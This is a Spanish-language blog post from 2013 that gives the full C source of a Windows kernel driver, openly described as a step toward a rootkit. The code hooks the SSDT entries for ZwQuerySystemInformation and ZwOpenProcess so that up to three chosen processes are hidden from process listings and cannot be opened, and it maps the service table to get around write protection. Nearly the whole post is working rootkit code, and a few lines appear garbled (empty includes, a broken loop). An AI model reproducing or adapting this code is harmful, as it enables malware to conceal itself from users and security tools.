miércoles, 30 de enero de 2013

Driver rumbo a rootkit

Continué agregando código al driver del post pasado, esta vez para ocultar el proceso y también protegerlo, ademas de que se pueden proteger hasta 3 procesos en lugar de uno, utilice el método HOOK_SYSCALL en lugar de DKOM por qué es un driver de protección que se puede descargar en cualquier momento si aplico el método DKOM debo de mantener un respaldo de las entradas a la EPROCESS modificadas y para evitar entrar en rollos mejor lo hice así.
El EXE es igual al post pasado.

Codigo de Hook.h
#include 
 
#ifndef _HOOK_H_
  #define _HOOK_H_
#endif
 
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
typedef struct _SYSTEM_THREAD {
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                   WaitTime;
  PVOID                   StartAddress;
  CLIENT_ID               ClientId;
  KPRIORITY               Priority;
  LONG                    BasePriority;
  ULONG                   ContextSwitchCount;
  ULONG                   State;
  KWAIT_REASON            WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
 
typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  SYSTEM_THREAD           Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
  
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

Código de main.c
#include 
#include "hook.h"
 
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;
 
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
 
const WCHAR     Device[]=L"\\device\\driverpid";
const WCHAR     sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING  Dev, lnk;
//int ListPID;
 
int SearchPID(HANDLE PID){
  int i;
   
  for (i = 0; i < 3; i++){
    if ((HANDLE)ListPID[i] == PID) 
      return i;
  } 
  return -1;
}
 
int FreeIndex(){
  int i;
   
  for (i = 0; i < 3; i++){
    if (ListPID[i] == 0) 
      return i;
  } 
  return -1;
}
 
/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/
 
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  int *oBuffer;
  int *iBuffer;
  int i;
  NTSTATUS Status = STATUS_SUCCESS;
   
  Stack = IoGetCurrentIrpStackLocation(Irp);
       
  iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    DbgPrint("Accesando a bloqueo de PID");
    DbgPrint("Asociando buffers...");
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            //if (ListPID == 0){
            i = FreeIndex();
            if (i >= 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID[i] = (USHORT)*iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
     
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            i = SearchPID((HANDLE)*iBuffer);
            if (i >= 0){
            //if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID[i] = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}
 
NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
  NTSTATUS Status;
  PSYSTEM_PROCESS_INFORMATION Actual, Next;
  int i;
   
  Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  //DbgPrint("Llamada a la API original");
   
  if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
    return Status;
  //DbgPrint("Han pedido informacion de procesos");
     
  if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
    return Status;
   
  //Cargamos el primer proceso que es 0 (?)
  Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  //Si es el ultimo proceso esta entrada esta seteada en 0
  //Por tanto si es el ultimo no se ejecuta el bloque while
  while (Actual->NextEntryOffset){ 
    //Cargamos el siguiente proceso
    Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
    //Si el PID del proceso es igual al que estamos protegiendo
    //Y el PID a proteger no es 0 (ningún PID a proteger)
    i = SearchPID(Next->ProcessId);
    if (Next->ProcessId != 0){
      while (i >= 0){
        DbgPrint("Ocultando Proceso: %d", ListPID[i]);
      //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
        if (Next->NextEntryOffset == 0)
        //Así que hacemos que el proceso actual sea el ultimo
          Actual->NextEntryOffset = 0;
        else
          Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
           
        Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); 
        i = SearchPID(Next->ProcessId); 
      }
      //Si no es el ultimo sumamos las entradas del actual y del siguiente
      //Para saltar la entrada de nuestro proceso
      //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
      //No salimos del break porque puede haber mas procesos a ocultar
    }
    //Cargamos el siguiente bloque de proceso
    Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
  }
  return Status;
}
  
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
  HANDLE PID;
  
  __try //Utilizamos el bloque try para evitar BSOD
  {
     PID = ClientId->UniqueProcess;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
     return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
    }
  
    //Verificamos el pid
    if ((SearchPID(PID) >= 0) && (PID != 0)){
    //if (PID == (HANDLE)ListPID){
    DbgPrint("PID: %d", PID);
    return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
  }
    else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
  
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("Descargando driver...");
  
  //Unhookeamos
  UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
  UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
  DbgPrint("Eliminando Hooks");
  //Eliminamos la MDL
  if(g_pmdlSystemCall)
  {
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  }
  DbgPrint("Proteccion a SSDT restaurada");
}
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
  int i;
   NTSTATUS Status;
   DriverObject->DriverUnload  = OnUnload;
  for(i=0; iMajorFunction[i] = IOControl; 
    
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
    
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  
     if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
        if(!NT_SUCCESS(Status)){
           IoDeleteDevice(DriverObject->DeviceObject);
             DbgPrint("Error creando link simbolico");
        }else
          DbgPrint("SymbolicLink creado y cargado.");
    }else
        DbgPrint("Error creando el device.");
    
  DbgPrint("Driver cargado.");
  /*
  Hooking de las APIs
  Obtenemos la direccion de OpenProcess
  */
  ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  
  DbgPrint("Hookeando OpenProcess...");
  /*
  Cambiamos la dirección de la SSDT por la nuestra
  */
  HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  
  ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
   
  DbgPrint("Hookeando QuerySysInfo...");
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
   return  Status;
}

Saludos!

No hay comentarios:

Publicar un comentario